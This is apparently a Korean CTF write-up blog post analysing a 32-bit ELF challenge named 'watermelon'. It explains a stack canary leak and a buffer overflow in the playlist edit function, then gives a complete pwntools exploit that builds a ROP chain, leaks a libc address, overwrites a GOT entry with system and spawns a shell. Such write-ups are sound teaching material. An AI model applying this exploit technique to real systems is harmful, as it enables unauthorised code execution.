티스토리 뷰

어디선가 많이 들어본 문제였는데 이제서야 푼다.


먼저 바이너리를 분석해보겠다.



elf 32bit파일이다


아이다로 분석해보겠다.


메인함수이다.


일단 카나리가 있다.


일단 이름을 전역변수에 입력을 받고 그 이름을 출력해준다.


그리고는 무한로프를 돈다 먼저 switch의 인자값을 보면.


메뉴를 보여주고 입력을 받고 리턴해준다.

menu로 rename하겠다.


case문을 보면 아마 메뉴에 맞는 각 함수들 일것이다.

근데 \xff\xff\xff\xff는 무엇일까.

바로 -1이다. 문제를 푸는데에는 지장없으니 넘어가겠다.


먼저 메뉴 1부터 보자.


case 1 같은 경우에는 v1의 주소를 인자로 넘겨준다.


v1은 4400 바이트만큼의 크기를 할당 받는다.

다시 case 1의 함수를 보자.



add music을 보니 아마 추가해주는 것 같다.

dword_804cB88은 아마 list의 순번을 보여주는 그냥 카운트인것 같다. 근데 이 값이 100이 되면 FULL이라는 문구와 함께 뮤직이 추가가 되지 않는다.


먼저 read로 44* count + a1 +4 에 위치에 입력을 받는다. 맨처음 add할때는 count가 0일 것이다.


0을 삽입해보면 *(a1+4)에는 music의 name이 저장된다.


다음 read를 보자.


44* count + a1 +24에 count가 0 이면 *(a1+24)의 값은 artist의 name이 들어갈것이다.


따라서 music과 artist는 20byte(0x15)만큼 차이가 난다. 왜냐면 그만큼 read로 입력을 받으니깐.


그리고 --------------------------------\n\n을 출력후


44*count+a1(count가 0일때 a1) *a1에는 count+1 즉 출력되는 리스트 순번인 1이 저장된다.


count가 99일때 생각을 해보자. 하면 4400이 딱 맞아 떨어진다.


사실 이 함수에서 오버플로우가 발생하기는 한다.


하지만 핵심적인 오버플로우는 아직 못찾은 것 같다.


암튼 v1은 4400byte만큼 구조체인 것 같다.


{ 순번(4)|music(20)|artist(20)  } * 99 하는 것 같다.


이만큼만 분석을 하고 2번 case를 분석해보자.



마찬가지로 v1을 인자로 넘겨줘다.


뭐헷갈리겠지만 여기 되게 중요하다. 아까우리가 적었던 내용을 불러와서 view할 수 있게 해준다.


여기서 딱 느낌이 올거다. canary leak이 가능하다. 공교롭게도 4400바이트 다음 바로 카나리변수인 것 을 알수 있다. add list로 100까지 꽉꽉 채워준 후 1byte침범하면 카나리를 leak 할 수 있을 것 이다.


오케이 먼가 느낌이 온다.


세번째 case를 보자.


무려 추가했던 내용을 수정할 수 있다.


오잉? 근데 bof가 가능하다. 고로 마지막 list의 artist를 bof하여 rop하면 쉘을 얻을 수 있을 것이다.


(여기엔 system함수가 없어서 offset을 구해야 한다.


밑에는 페이로드이다.



1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

from pwn import *

s = process("./watermelon")

e = ELF("./watermelon")

read_plt = e.plt['read']

read_got = e.got['read']

write_plt = 0x8048590

printf_plt = 0x8048500

pppr = 0x8048f0d

cmd = 0x804d7a0

printf_got = 0x804c010

s.recvuntil('Input your name : ')

s.sendline("/bin/sh\x00")

s.recvuntil('\tselect\t|\t')

for i in range(0,100):

   s.sendline('1')

   s.recv()

   s.send("asdf")

   s.recv()

   s.send("asdf")

s.recvuntil("\tselect\t|\t")

s.sendline('3')

s.recvuntil("select number\t|\t\n")

s.sendline('100')

s.recvuntil("\tmusic\t|\t")

s.send("asdf")

s.recv()

s.send("A"*21)

s.recvuntil("\tselect\t|\t\n")

s.sendline('2')

s.recvuntil('AAAAAAAAAAAAAAAAAAAAA')

canary = '\x00' + s.recv(3)

print ("[*]canary : 0x%x"%u32(canary))

# canary leak success

s.recvuntil("\tselect\t|\t")

s.sendline('3')

s.recvuntil("select number\t|\t\n")

s.sendline('100')

s.recvuntil("\tmusic\t|\t")

s.send("asdf")

s.recv()

# leak_printf === payload

leak_printf="A"*20

leak_printf+=canary

leak_printf+="A"*12

leak_printf+= p32(write_plt)

leak_printf+= p32(pppr)

leak_printf+= p32(1)

leak_printf+= p32(printf_got)

leak_printf+= p32(4)

leak_printf+= p32(read_plt)

leak_printf+= p32(pppr)

leak_printf+= p32(0)

leak_printf+= p32(read_got)

leak_printf+= p32(4)

#leak_printf+=  "\x90\x94\x04\x08"

leak_printf+= p32(read_plt)

leak_printf+= 'AAAA'

leak_printf+= p32(cmd)

s.sendline(leak_printf)

s.recvuntil("\tselect\t|\t\n")

s.sendline('4')

s.recvuntil("\t\tBYE BYE\n\n")

#s.sendline('/bin/sh\x00')

#print(hex(u32(s.recv(4))))

printf = u32(s.recv(4))

#print("[*]printf : 0x%x"%(printf))

system = (printf) - 0xe6e0

#print("[*]system : 0x%x"%system)

s.send(p32(system))

s.interactive()

cs



'pwnable > CTF write-up' 카테고리의 다른 글

사이버 가디언즈 1차전 pwn, miscwrite-up  (0) 2018.06.29
[Codegate 2018] catshop write-up  (0) 2018.05.27
[CSAW2013] exploitation-2 write-up  (0) 2018.05.14
[trustealth]easy write-up  (0) 2018.05.13
[CSAW2013] Exploitation-1 write-up  (0) 2018.05.12
Comments